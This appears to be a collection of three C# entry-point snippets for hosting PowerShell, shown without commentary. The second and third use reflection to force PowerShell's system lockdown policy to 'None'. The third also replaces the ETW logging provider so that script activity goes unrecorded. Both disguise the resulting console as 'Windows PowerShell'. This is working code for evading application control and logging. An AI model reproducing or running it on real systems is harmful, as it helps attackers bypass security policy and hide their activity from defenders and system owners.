public static int Main(string[] args) { #if UNIX AttemptExecPwshLogin(args); #endif return(UnmanagedPSEntry.Start(args, args.Length)); }
static void Main(string[] args) { try { var fi = typeof(SystemPolicy).GetField("systemLockdownPolicy", BindingFlags.NonPublic | BindingFlags.Static); fi.SetValue(null, SystemEnforcementMode.None); AllocConsole(); SetConsoleTitle("Windows Powershell"); SetIcon(); UnmanagedPSEntry ps = new UnmanagedPSEntry(); ps.Start(null, args); Environment.Exit(0); } catch (Exception ex) { MessageBox.Show(ex.Message); } }
static void Main(string[] args) { try { string Command = @"Start-Sleep 1"; using (PowerShell powerShellInstance = PowerShell.Create()) { var psEtwLogProvider = powerShellInstance.GetType().Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider"); if (psEtwLogProvider != null) { var etwProvider = psEtwLogProvider.GetField("etwProvider", BindingFlags.NonPublic | BindingFlags.Static); var eventProvider = new System.Diagnostics.Eventing.EventProvider(Guid.NewGuid()); etwProvider.SetValue(null, eventProvider); } var fi = typeof(SystemPolicy).GetField("systemLockdownPolicy", BindingFlags.NonPublic | BindingFlags.Static); fi.SetValue(null, SystemEnforcementMode.None); powerShellInstance.AddScript(Command); powerShellInstance.Invoke(); } AllocConsole(); SetConsoleTitle("Windows PowerShell"); SetIcon(); var ps = new UnmanagedPSEntry(); ps.Start(null, args); Environment.Exit(0); } catch (Exception ex) { MessageBox.Show(ex.Message); } }